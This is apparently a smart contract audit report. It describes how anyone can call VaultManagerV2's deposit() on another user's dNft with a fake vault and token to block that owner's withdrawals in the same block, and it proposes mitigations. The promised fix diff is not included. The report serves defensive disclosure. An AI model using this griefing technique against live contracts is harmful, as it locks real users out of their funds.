Vulnerability details

Impact

User's withdrawals will be prevented from success and an attacker can keep up without a cost using fake vault and fake token.

Proof of Concept

There is a mechanisms for a flash loan protection that saves the current block number in a mapping of dNft token id, and then prevent it from withdrawing at the same block number, as we can see in the VaultManagerV2::deposit() function which can be called by anyone with a valid dNft id:

src/core/VaultManagerV2.sol:
  119:   function deposit(
  120:     uint    id,
  121:     address vault,
  122:     uint    amount
  123:   ) 
  124:     external 
  125:       isValidDNft(id)
  126:   {
@>127:     idToBlockOfLastDeposit[id] = block.number;
  128:     Vault _vault = Vault(vault);
  129:     _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
  130:     _vault.deposit(id, amount);
  131:   }

The attacker can use this to prevent any withdrawals in the current block, since it will be checked whenever an owner of dNft token try to withdraw:

src/core/VaultManagerV2.sol:
  134:   function withdraw(
  135:     uint    id,
  136:     address vault,
  137:     uint    amount,
  138:     address to
  139:   ) 
  140:     public
  141:       isDNftOwner(id)
  142:   {
@>143:     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  144      uint dyadMinted = dyad.mintedDyad(address(this), id);

Tools Used

Recommended Mitigation

Consider limiting anyone with any token vaults to update idToBlockOfLastDeposit. One of these mitigation can be used:

  1. Prevent anyone to deposit to un-owned dNft token

  2. Allow to only depositing using licensed vaults, so if the attacker try to front-runs he will lose some real tokens.

  3. Since this used to protect against flash loans, no need to use it with all token vaults and should be used only with vaults that can be used to mint DYAD. So, we can check if the deposit included in the vaultLicenser and keroseneManager licenser, we need to update the idToBlockOfLastDeposit. Here is a git diff for this fix:
